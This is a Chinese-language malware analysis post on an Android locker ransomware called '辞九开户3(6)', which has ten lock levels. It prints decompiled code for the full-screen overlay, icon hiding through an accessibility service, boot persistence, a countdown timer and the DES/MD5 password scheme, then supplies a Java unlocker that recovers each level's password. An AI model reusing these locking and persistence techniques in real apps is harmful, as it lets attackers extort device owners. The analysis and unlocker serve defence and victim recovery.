Android十层锁机样本分析
拆一个叫“辞九开户3(6)”的 Android 勒索软件,十层锁机。从权限到代码,再到解锁,咱一步步看看它咋回事,最后给解锁和破解方法。说实话,看到“开户”俩字还用,被锁活该。
工具
模拟器
JEB
IDEA
jadx
Android Killer
AndroidManifest文件的分析
先看 AndroidManifest.xml。代码太长,我就挑重点说:
权限:
-
WRITE_EXTERNAL_STORAGE:写外部存储
-
SYSTEM_ALERT_WINDOW 和 DISABLE_KEYGUARD:绘制覆盖层
-
BIND_ACCESSIBILITY_SERVICE:无障碍
-
RECEIVE_BOOT_COMPLETED 和 WAKE_LOCK:开机自启
组件:
入口
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle bundle0) {
super.onCreate(bundle0);
this.setContentView(0x7F030000);
Intent intent0 = new Intent("android.settings.ACCESSIBILITY_SETTINGS");
this.startActivity(intent0);
Intent intent1 = new Intent();
intent0.setAction("android.intent.action.BOOT_COMPLETED");
this.sendBroadcast(intent1);
}
}
一启动就要求开启无障碍权限,随后锁定设备,并通过广播拉起核心服务 com.mycompany.myapp.a。更狠的是,应用图标直接被隐藏,桌面上找不到。
反编译
反编译后,找到锁机界面和密码逻辑。界面这块用 createMaskView 实现,代码长,我挑重点说:
private void createMaskView() {
WindowManager.LayoutParams params = new WindowManager.LayoutParams(-1, -1, ...);
WindowManager wm = (WindowManager) getSystemService("window");
LinearLayout maskView = (LinearLayout) LayoutInflater.from(this).inflate(0x7F030001, null);
wm.addView(maskView, params);
EditText editText = (EditText) maskView.findViewById(0x7F090004);
editText.setHint("请输入解锁密码");
switch (a.cL1) {
case 2:
maskView.findViewById(0x7F090002).setText("Android 白爛");
maskView.findViewById(0x7F090003).setText("作者白爛QQ3940006867");
maskView.findViewById(0x7F090001).setText("第一层");
if (pW0 >= 5) { maskView.setBackgroundResource(0x7F020001); }
break;
case 11:
if (pW0 >= 5) {
maskView.setBackgroundResource(0x7F020001);
maskView.findViewById(0x7F090003).setText("欢迎来到最后一层");
maskView.findViewById(0x7F090001).setText("第十层");
}
break;
}
}
这代码用 WindowManager 全屏,上面有输入框让你输密码,还有Android 白爛、作者白爛QQ3940006867之类的文字。a.cL1 控制层级,从第一层到第十层,每层颜色不同,错 5 次(pW0 >= 5)就锁死,背景换成 sd。
密码验证在 onClick 里,之前以为 pw 是写死的,后来用 jadx 反编译发现 pW = passw(xlh),原来是动态算的。pW0 是错误次数,输错一次加 1,5 次后锁死,确定 pW 就是密码。
心理博弈
@Override
@Override
protected void onServiceConnected() {
super.onServiceConnected();
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
info.eventTypes = 0x20;
setServiceInfo(info);
getPackageManager().setComponentEnabledSetting(new ComponentName(this, MainActivity.class), 2, 1);
Vibrator vibrator = (Vibrator) getSystemService("vibrator");
vibrator.vibrate(new long[]{0L, 180L, 0L, 120L}, 0);
音乐();
createMaskView();
序列号();
你妈死了();
老弟你配吗();
Toast.makeText(this, "辅助功能服务已启动", 0).show();
}
隐藏图标:setComponentEnabledSetting 禁用 MainActivity,导致图标从桌面消失,想找都找不着。AK 过滤这行,注释掉就能破:
# invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V

音频
private void 音乐() {
player = pW0 >= 1 ? MediaPlayer.create(this, 0x7F050001) : MediaPlayer.create(this, 0x7F050000);
player.setLooping(true);
player.start();
}
错一次密码换个音频,一直循环,很恶心。
10 分钟倒计时
private void 老弟你配吗() {
View view0 = this.maskView.findViewById(0x7F090013);
View view1 = this.maskView.findViewById(0x7F09000F);
this.countDownTimer = new 100000003(this, 600000L, 1000L,
((TextView)view0), ((TextView)this.maskView.findViewById(0x7F090011)),
((Button)view1)).start();
}
10 分钟倒计时逼你慌,超时锁死。
开机自启动
开机自启,看 pass 类,是个广播接收器:
public class pass extends BroadcastReceiver {
private boolean isServiceRun(Context context0, String s) {
Iterator iterator0 = ((ActivityManager)context0.getSystemService("activity")).getRunningServices(0x7FFFFFFF).iterator();
while (iterator0.hasNext()) {
if (s.equals(((ActivityManager.RunningServiceInfo)iterator0.next()).service.getClassName())) {
return true;
}
}
return false;
}
@Override
public void onReceive(Context context0, Intent intent0) {
if (intent0.getAction().equals("com.mycompany.myapp.a")) {
SharedPreferences.Editor editor = context0.getSharedPreferences("MyApp", 0).edit();
editor.putBoolean("jc", true);
editor.apply();
if (!isServiceRun(context0, "com.mycompany.myapp.a")) {
Intent intent1 = new Intent();
intent1.setClassName("com.mycompany.myapp", "com.mycompany.myapp.a");
context0.startService(intent1);
}
}
}
}
开机 BOOT_COMPLETED,服务 a 蹦出来,自启动给你锁上。
序列号和密码
序列号() 生成个 6 位随机数,同时设了个写死的密码:
private void 序列号() {
int v = (int)(Math.random() * 900000.0) + 100000;
a.xlh = v;
maskView.findViewById(0x7F090012).setText(String.valueOf(v));
a.pW = "14255495";
}
但后来发现 pW = passw(xlh),真正的密码是算出来的。passw() 是关键:
public static String passw(int v) {
String s;
PassWord passWord0 = new PassWord("Android闪电博士");
try {
switch(a.cL1) {
case 2: {
s = passWord0.encrypt(a.get(a.get((v + "博士" + "你妈" + "闪电" + v % 20))));
break;
case 11: {
s = passWord0.encrypt(a.get(a.get((v + "博士" + (v - 45) + "闪电博士" + v / 53 + "操你妈" + (v - 89) + "●闪电" + v % 0x40))));
break;
}
}
}
}
catch(Exception unused_ex) {
s = null;
}
String s1 = a.getMD5String(s).replaceAll("[^1-9]", "");
return s1.length() <= 8 ? s1 : s1.substring(0, 8);
}
代码有点长就不贴全了,简单点:拿序列号 xlh 拼接字符串(每层不一样,像“博士你妈闪电”之类),用 DES 加密(密钥是“Android闪电博士”),再算 MD5 并去除所有非数字字符,截取前八位。写死的 "14255495" 可能是幌子,实际密码靠这算。
解锁逻辑
PassWord 类是加密核心,用 DES 算法,密钥是 "Android闪电博士"。get() 把数字换成“闪”“电”之类的再反转,encrypt() 加密成字节转十六进制,最后 MD5 去非数字字符,截数字。代码太长不贴了。
直接把代码复制到 IDEA 跑了下,比如 xlh = 176716,level = 10,算出密码:

所有层的解密逻辑基本一致,都是基于字符串拼接、加密与哈希处理,直接套用即可。

解锁源码,能直接用:
public class Main {
public static void main(String[] args) {
int xlh = 176716;
int level = 10;
String password = unLock(level, xlh);
System.out.println("LEVEL:" + level + "\nXLH: " + xlh + "\nPASSWORD: " + password);
}
public static String unLock(int level, int xlh) {
String s;
try {
s = switch (level) {
case 1 -> encrypt(get(get((xlh + "博士" + "你妈" + "闪电" + xlh % 20))));
case 2 -> encrypt(get(get((xlh + "专" + "你妈" + "闪电" + "你士"))));
case 3 -> encrypt(get(get((xlh + "博士" + "闪电" + "专操你妈"))));
case 4 -> encrypt(get(get((xlh + "博士" + "闪电" + "操" + "你妈"))));
case 5 -> encrypt(get(get((xlh + "电" + "●ā"))));
case 6 -> encrypt(get(get((xlh + "博" + "闪" + "操你妈" + (xlh + 1)))));
case 7 -> encrypt(get(get((xlh + "闪" + "你妈" + (xlh / 2 - 3)))));
case 8 -> encrypt(get(get((xlh * 3 + "博士" + "闪" + xlh * 3 / 2))));
case 9 -> encrypt(get(get((xlh - 3 + "博士" + "闪电" + (xlh - 3) * 4))));
case 10 ->
encrypt(get(get((xlh + "博士" + (xlh - 45) + "闪电博士" + xlh / 53 + "操你妈" + (xlh - 89) + "●闪电" + xlh % 0x40))));
default -> null;
};
} catch (Exception unused_ex) {
s = null;
}
String s1 = getMD5String(s).replaceAll("[^1-9]", "");
return s1.length() <= 8 ? s1 : s1.substring(0, 8);
}
public static String getMD5String(String s) {
try {
char[] arr_c = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};
MessageDigest messageDigest0 = MessageDigest.getInstance("MD5");
messageDigest0.update(s.getBytes());
byte[] arr_b = messageDigest0.digest();
char[] arr_c1 = new char[arr_b.length * 2];
int v1 = 0;
for (int v = 0; true; ++v) {
if (v >= arr_b.length) {
return new String(arr_c1);
}
int v2 = arr_b[v];
int v3 = v1 + 1;
arr_c1[v1] = arr_c[v2 >>> 4 & 15];
v1 = v3 + 1;
arr_c1[v3] = arr_c[v2 & 15];
}
} catch (Exception exception0) {
exception0.printStackTrace();
return null;
}
}
public static String encrypt(String s) throws Exception {
return byteArr2HexStr(encrypt(s.getBytes()));
}
public static byte[] encrypt(byte[] arr_b) throws Exception {
Cipher encryptCipher;
encryptCipher = null;
try {
Key key0 = getKey("Android闪电博士".getBytes());
Cipher cipher0 = Cipher.getInstance("DES");
encryptCipher = cipher0;
cipher0.init(1, key0);
Cipher cipher1 = Cipher.getInstance("DES");
cipher1.init(2, key0);
} catch (Exception exception0) {
exception0.printStackTrace();
}
return encryptCipher.doFinal(arr_b);
}
private static Key getKey(byte[] arr_b) throws Exception {
byte[] arr_b1 = new byte[8];
for (int v = 0; v < arr_b.length && v < 8; ++v) {
arr_b1[v] = arr_b[v];
}
return new SecretKeySpec(arr_b1, "DES");
}
public static String byteArr2HexStr(byte[] arr_b) throws Exception {
StringBuffer stringBuffer0 = new StringBuffer(arr_b.length * 2);
for (int v = 0; v < arr_b.length; ++v) {
int v1;
for (v1 = arr_b[v]; v1 < 0; v1 += 0x100) {
}
if (v1 < 16) {
stringBuffer0.append('0');
}
stringBuffer0.append(Integer.toString(v1, 16));
}
return stringBuffer0.toString();
}
public static String get(String s) {
for (int v = 0; v < 10; ++v) {
s = s.replaceAll(new String[]{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"}[v], new String[]{"闪", "电", "博", "士", "专", "操", "你", "妈", "●", "ā"}[v]).toString();
}
return new StringBuffer(s).reverse().toString();
}
}
样本
样本
解压密码:52pojie